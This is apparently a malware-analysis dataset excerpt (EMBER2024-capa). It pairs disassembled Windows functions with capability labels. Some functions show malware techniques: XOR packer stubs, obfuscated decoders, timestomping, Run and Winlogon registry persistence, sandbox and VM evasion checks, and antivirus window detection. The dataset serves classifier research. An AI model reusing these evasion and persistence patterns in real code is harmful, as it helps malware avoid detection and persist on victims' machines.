joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, 0xad
rcl edx, 0x59
add ebx, 0x2c
neg edx
add ebx, 7
neg eax
and edx, 0x81
or edi, 0x78
inc edi
imul eax
not edi
inc edi
bswap eax
neg ebx
neg eax
sub ebx, 0x2f
ror esi, 0x80
add esi, 0
and edi, 0x30
inc edi
inc eax
mov eax, 0x7e
or edi, 0xb6
bswap edx
ror edx, 0xa1
inc edi
imul edx
imul edi
ror edi, 0xd4
rcl edx, 2
not esi
sbb edi, 0x6c
neg ebx
neg edx
inc ebx
dec edx
dec eax
rol edx, 0xb5
add edx, 0xca
sbb eax, 0x62
mov edi, 0xf3
or edi, 0x4e
imul edi
add edi, 0xf1
and ebx, 0x4f
rol edx, 0x78
sub ebx, 0xfe
or ebx, 0x77
not edi
rcl ebx, 0x3c
xor ecx, ecx
xor edi, edi
not edi
add edi, 0x3b
and esi, 0xb7
neg esi
not eax
dec ebx
rcl esi, 0x51
bswap edx
mov edi, 0x9f
sub edx, 0x6a
sub edx, 0x96
bswap edi
dec edi
inc ebx
sbb eax, 0x31
or ebx, 0x32
imul ebx
rcl edx, 0xbf
bswap esi
not edx
neg ebx
bswap eax
bswap esi
inc ebx
rcr esi, 0xef
sub edi, 0x6c
not eax
sub esi, 0x15
or ebx, 0x96
sub esi, 0x98
and eax, 0x9d
sub edx, 0x34
mov eax, 0xed
add eax, 0x96
rcr edx, 0xc1
inc edx
add ebx, 0xe7
bswap edi
rcr esi, 0x9f
or ebx, 0x17
add eax, 0x3e
sub edx, 0x6a
dec edi
mov edx, 0xbc
rcl edi, 0x8b
mov edx, 0xb3
dec edi
add edx, 0xe3
sub edx, 0x78
not eax
mov ecx, dword [ebp + 0xc]
imul edx
imul edi
bswap esi
inc eax
imul edi
and eax, 0x70
bswap edi
neg edi
inc edi
imul edi
rol eax, 0xaf
or edi, 0x67
sub esi, 0x5c
sbb eax, 0x8f
bswap esi
sub esi, 0xa3
mov edi, 0x88
bswap edi
rcl edi, 0x49
not eax
rol edx, 0x4d
not esi
add edx, 0xc5
bswap esi
rol eax, 0x31
or edx, 0xe3
sub esi, 0x68
not esi
neg edx
sub esi, 0x77
imul eax
dec edx
rol ebx, 5
imul eax
and ebx, 0x6a
not edx
or esi, 0xfa
not edx
sbb esi, 0xed
ror eax, 0x3b
or edi, 0x41
sbb ebx, 0x81
inc esi
sub esi, 0xaf
not esi
or edx, 0xe0
bswap ebx
bswap edi
bswap edi
add eax, 0xc1
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, esi
mov ebx, eax
mov esi, esi
mov eax, ebx
mov esi, ebx
xor esi, eax
mov esi, esi
mov esi, esi
xor eax, esi
xor esi, eax
xor esi, esi
not byte [edi]
mov esi, eax
mov eax, ebx
mov esi, eax
mov eax, eax
mov eax, ebx
mov esi, eax
xor esi, ebx
xor esi, ebx
mov eax, eax
add byte [edi], 0x67
xor ebx, esi
xor esi, eax
xor esi, eax
mov eax, esi
mov esi, esi
mov eax, eax
mov eax, ebx
xor esi, ebx
xor esi, eax
sub byte [edi], 0x88
xor esi, eax
xor ebx, eax
mov ebx, ebx
xor ebx, esi
mov eax, ebx
mov eax, esi
xor esi, ebx
mov esi, esi
xor eax, esi
imul byte [edi]
inc edi
loop 0x4011d0
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x404c44
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48e0f0]
jne 0x404c4e
repz ret
jmp fcn.00409145
Function at 0x4055b3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402ee1
and dword [ebp - 4], 0
cmp dword [0x48edf4], 0
mov ebx, eax
jne 0x405664
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x405715
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40eb90
push edi
call esi
test eax, eax
je 0x405715
push eax
call fcn.00402e6f
mov dword [esp], 0x40eb80
push edi
mov dword [0x48edf4], eax
call esi
push eax
call fcn.00402e6f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x48edf8], eax
call esi
push eax
call fcn.00402e6f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x48edfc], eax
call esi
push eax
call fcn.00402e6f
pop ecx
mov dword [0x48ee04], eax
test eax, eax
je 0x405664
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402e6f
pop ecx
mov dword [0x48ee00], eax
mov eax, dword [0x48ee00]
cmp eax, ebx
je 0x4056bc
cmp dword [0x48ee04], ebx
je 0x4056bc
push eax
call fcn.00402eea
push dword [0x48ee04]
mov esi, eax
call fcn.00402eea
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4056bc
test edi, edi
je 0x4056bc
call esi
test eax, eax
je 0x4056b3
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4056b3
test byte [ebp - 0xc], 1
jne 0x4056bc
or dword [ebp + 0x10], 0x200000
jmp 0x4056f5
mov eax, dword [0x48edf8]
cmp eax, ebx
je 0x4056f5
push eax
call fcn.00402eea
pop ecx
test eax, eax
je 0x4056f5
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4056f5
mov eax, dword [0x48edfc]
cmp eax, ebx
je 0x4056f5
push eax
call fcn.00402eea
pop ecx
test eax, eax
je 0x4056f5
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x48edf4]
call fcn.00402eea
pop ecx
test eax, eax
je 0x405715
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x405717
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40977e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x4097c2
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x409791
jmp 0x4097c2
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x4097b2
pop esi
pop ebp
ret

Function at 0x40a250
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x40a285
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x40a2af
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x40a2af
test edi, edi
je 0x40a27c
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40a27c
test edi, edi
je 0x40a2b7
mov eax, edi
jmp 0x40a27e
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40a27e
int3
Function at 0x40c7e1
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestTypedEnum.exe_gMozillaPoisonSize], eax
call fcn.0040a250
pop ecx
mov ecx, dword [sym.TestTypedEnum.exe_gMozillaPoisonSize]
mov dword [sym.TestTypedEnum.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40c819
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestTypedEnum.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp fcn.00401219

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x3810761d
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..text_1
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0xae75c13
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
test eax, eax
je 0x401090
cmp dword [ebp + 8], edi
je 0x401090
test ebx, ebx
je 0x401090
push esi
push edi
push 0x80
push 2
push edi
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401086
mov ecx, dword [ebp + 8]
push edi
lea eax, [ebp - 4]
push eax
push ebx
push ecx
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40105f
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
je 0x40105f
mov edi, 1
mov dword [ebp + 8], 0
test esi, esi
je 0x401086
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401086
test byte [ebp + 8], 2
jne 0x401086
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x4010a0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
xor esi, esi
xor ebx, ebx
push edi
test eax, eax
je 0x40118a
push ebx
push 0x80
push 3
push ebx
push 3
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 8], edi
cmp edi, 0xffffffff
je 0x40118a
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x401163
lea edi, [ebx + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x401160
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x401160
mov edx, dword [ebp - 8]
push 0
lea ecx, [ebp - 0x10]
push ecx
push ebx
push esi
push edx
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401160
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x40115e
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
mov edi, dword [ebp - 8]
mov dword [ebp - 8], 0
test edi, edi
je 0x40118a
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x40118a
test byte [ebp - 8], 2
jne 0x40118a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
test edi, edi
je 0x4011ab
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
mov eax, esi
jne 0x4011ad
mov dword [edi], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401a30
Capabilities:
Access pe header
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x401b53
lea ecx, [ebp - 4]
push ecx
call fcn.004010a0
mov ebx, eax
test ebx, ebx
je 0x401b53
push ebx
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov esi, eax
test esi, esi
je 0x401b31
rdtsc
xor dword [0x45684c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x45684c], eax
push 0x404538
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401aa9
push 0x404544
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401aa9
push 0x45684c
call eax
mov ecx, dword [0x45684c]
or edi, 0xffffffff
xor edx, edx
mov eax, ecx
div edi
add eax, ecx
mov dword [esi + 0x58], eax
mov eax, dword [ebp - 4]
mov edi, eax
test eax, eax
je 0x401b31
mov edx, dword [ebp + 8]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401b31
push 0
lea eax, [ebp + 8]
push eax
push edi
push ebx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401b0a
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp + 8], 0
test esi, esi
je 0x401b31
lea ecx, [ebp + 8]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401b31
test byte [ebp + 8], 2
jne 0x401b31
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x401b53
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401b60
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401c25
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x20]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 8], 0
test esi, esi
je 0x401bcc
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401bcc
test byte [ebp - 8], 2
jne 0x401bcc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401c25
lea edx, [ebp - 0x10]
jmp 0x45c640
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x402810
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push 0x404490
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0xff0ff
call edi
test eax, eax
jne 0x4028dd
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push 0x404480
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x40448c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, esi
add esp, 0x10
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4028c0
sub eax, edx
mov edx, dword [ebp - 4]
inc eax
push eax
push esi
push 1
push 0
lea ecx, [ebp - 0x10c]
push ecx
push edx
jmp 0x40291e
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push 0x4044c8
push SysReAllocString
call edi
test eax, eax
jne 0x402924
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402905
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push esi
push 1
push 0
push 0x4044f8
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
pop edi
test eax, eax
je 0x40293d
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x402c10
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x404ecc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00403900
test eax, eax
je 0x402c4c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004020b0
call fcn.00401fc0
push 0
push str.____AVP.Root
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x402c81
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.00402240
call fcn.00402330
call fcn.00402420
call fcn.00402560
mov ebx, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call ebx
test eax, eax
jne 0x402cc3
call fcn.00401d80
test eax, eax
je 0x402cb2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00403440
test eax, eax
je 0x402cc3
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call ebx
push 0x404550
mov edi, eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402cfc
push 0x404560
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402cfc
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x402d4e
test edi, edi
je 0x402d1c
push str._apppatch_
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402d3f
lea esi, [ebp - 0x10c]
call fcn.00402810
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.00401580
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402e38
call fcn.00402950
call fcn.004011c0
jmp 0x402e38
test edi, edi
je 0x402ddd
push str._apppatch_
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402d81
lea esi, [ebp - 0x10c]
call fcn.00402810
call fcn.004027b0
jmp 0x402e38
call fcn.00402950
push 0x404e50
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402dd6
push 0x404e50
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call ebx
test eax, eax
je 0x402db7
lea ecx, [ebp - 1]
push ecx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call ebx
test eax, eax
mov eax, 0x404e6c
jne 0x402dc7
mov eax, 0x404e7c
push eax
call fcn.004014b0
test eax, eax
je 0x402dd6
call fcn.00401580
call fcn.004011c0
jmp 0x402e38
lea esi, [ebp - 0x10c]
call fcn.00402810
push 0x404e50
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402e38
push 0x404e50
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call ebx
test eax, eax
je 0x402e19
lea edx, [ebp - 1]
push edx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call ebx
test eax, eax
mov eax, 0x404e6c
jne 0x402e29
mov eax, 0x404e7c
jmp loc.0045fe80
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x402f30
Capabilities:
Schedule task via itaskservice

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
jmp loc.0045e3f0
Function at 0x4033a0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
lea eax, [ebp - 0x9c]
push eax
mov esi, 0x80004005
mov dword [ebp - 4], 0
mov dword [ebp - 0x9c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x40342d
cmp dword [ebp - 0x8c], 2
jne 0x40342d
jmp loc.0045e7d8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x403900
Capabilities:
Check for sandbox username or hostname
Get disk information
Get session user name
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x61c
push edi
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.HARDWAREDESCRIPTIONSystem
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 8], 0
mov edi, 1
mov dword [ebp - 0x10], 0x400
mov dword [ebp - 0xc], 7
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4039ad
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x61c]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.SystemBiosVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40397b
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4039ad
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x61c], 0x51
jne 0x4039ad
cmp byte [ebp - 0x61b], 0x45
jne 0x4039ad
cmp byte [ebp - 0x61a], 0x4d
jne 0x4039ad
cmp byte [ebp - 0x619], 0x55
je 0x403acc
push esi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.USER32.dll_CharUpperA]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [ebp - 0x21c]
push str.SANDBOX
push eax
call esi
add esp, 8
test eax, eax
jne 0x403acb
lea ecx, [ebp - 0x21c]
push str.MALNETVM
push ecx
call esi
add esp, 8
test eax, eax
jne 0x403acb
lea edx, [ebp - 0x21c]
push str.VIRUSCLONE
push edx
call esi
add esp, 8
test eax, eax
jne 0x403acb
push 0x104
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0
push 0
lea edx, [ebp - 0x118]
push edx
mov byte [ebp - 0x115], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 8]
cmp eax, 0xcd1a40
je 0x403acb
cmp eax, 0x6cbbc508
je 0x403acb
cmp eax, 0x774e1682
je 0x403acb
cmp eax, 0x837f873e
je 0x403acb
cmp eax, 0x8b6f64bc
je 0x403acb
push 0x104
lea eax, [ebp - 0x118]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str._sand_box_
lea ecx, [ebp - 0x118]
push ecx
call esi
test eax, eax
jne 0x403acb
push str.cwsandbox_
lea edx, [ebp - 0x118]
push edx
call esi
test eax, eax
jne 0x403acb
push str._sandbox_
lea eax, [ebp - 0x118]
push eax
call esi
test eax, eax
jne 0x403acb
xor edi, edi
pop esi
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x403ae0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x403b09
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..data]
inc esi
xor eax, edx
dec ecx
jne 0x403af4
xor eax, 0xffffffff
pop esi
leave
ret 0xc
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x5f5d7a90
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0xc67751a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x432084
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
popal
nop
nop
nop
nop
jmp 0x431219